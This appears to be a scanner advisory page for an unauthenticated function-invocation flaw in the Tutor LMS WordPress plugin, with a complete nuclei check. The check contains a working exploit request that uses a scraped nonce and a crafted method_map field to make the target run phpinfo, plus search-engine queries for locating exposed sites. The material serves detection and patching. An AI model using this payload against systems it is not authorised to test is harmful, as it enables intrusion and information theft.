Tutor LMS < 4.0.6 - Unauthenticated Arbitrary PHP Function Invocation

criticalseverity

9.8CVSS score

2.6%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

Tutor LMS WordPress plugin < 4.0.6 contains a template injection caused by insufficient prevention of request data overwriting internal variables during template rendering, letting unauthenticated attackers invoke arbitrary zero-argument PHP functions and receive their output.

Impact

Unauthenticated attackers can execute arbitrary PHP functions and obtain their output, potentially leading to information disclosure or further exploitation.

Fix

Update to version 4.0.6 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "_tutor_nonce")
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains_all(body, "\"success\":true", "PHP Extension Build", "Configuration File (php.ini) Path", "allow_url_fopen")

Run it with nuclei: nuclei -id CVE-2026-19092 -u <target>

The full check

id: CVE-2026-19092

info:
  name: Tutor LMS < 4.0.6 - Unauthenticated Arbitrary PHP Function Invocation
  author: aryu-ru
  severity: critical
  description: |
    Tutor LMS WordPress plugin < 4.0.6 contains a template injection caused by insufficient prevention of request data overwriting internal variables during template rendering, letting unauthenticated attackers invoke arbitrary zero-argument PHP functions and receive their output.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP functions and obtain their output, potentially leading to information disclosure or further exploitation.
  remediation: |
    Update to version 4.0.6 or later.
  reference:
    - https://wpscan.com/vulnerability/da7fb4c7-6d07-4c96-bde2-95bca1797d56/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-19092
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-19092
    epss-score: 0.02624
    epss-percentile: 0.85611
    cwe-id: CWE-74
  metadata:
    verified: true
    max-request: 2
    vendor: themeum
    product: tutor_lms
    framework: wordpress
    shodan-query: html:"/wp-content/plugins/tutor/"
    fofa-query: body="/wp-content/plugins/tutor/"
  tags: cve,cve2026,wordpress,wp,wp-plugin,tutor-lms,rce,unauth

variables:
  ctx: "{{rand_base(8, 'abcdefghijklmnopqrstuvwxyz')}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "_tutor_nonce")'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: nonce
        group: 1
        internal: true
        regex:
          - '"_tutor_nonce":"([a-z0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=tutor_course_filter_ajax&_tutor_nonce={{nonce}}&template=single-content-loader&data[context]={{ctx}}&data[method_map][{{ctx}}]=phpinfo

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"success\":true", "PHP Extension Build", "Configuration File (php.ini) Path", "allow_url_fopen")'
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - 'PHP Version ([0-9]+\.[0-9]+\.[0-9]+)'

References

Use this check only on systems you are authorised to test. Where the data comes from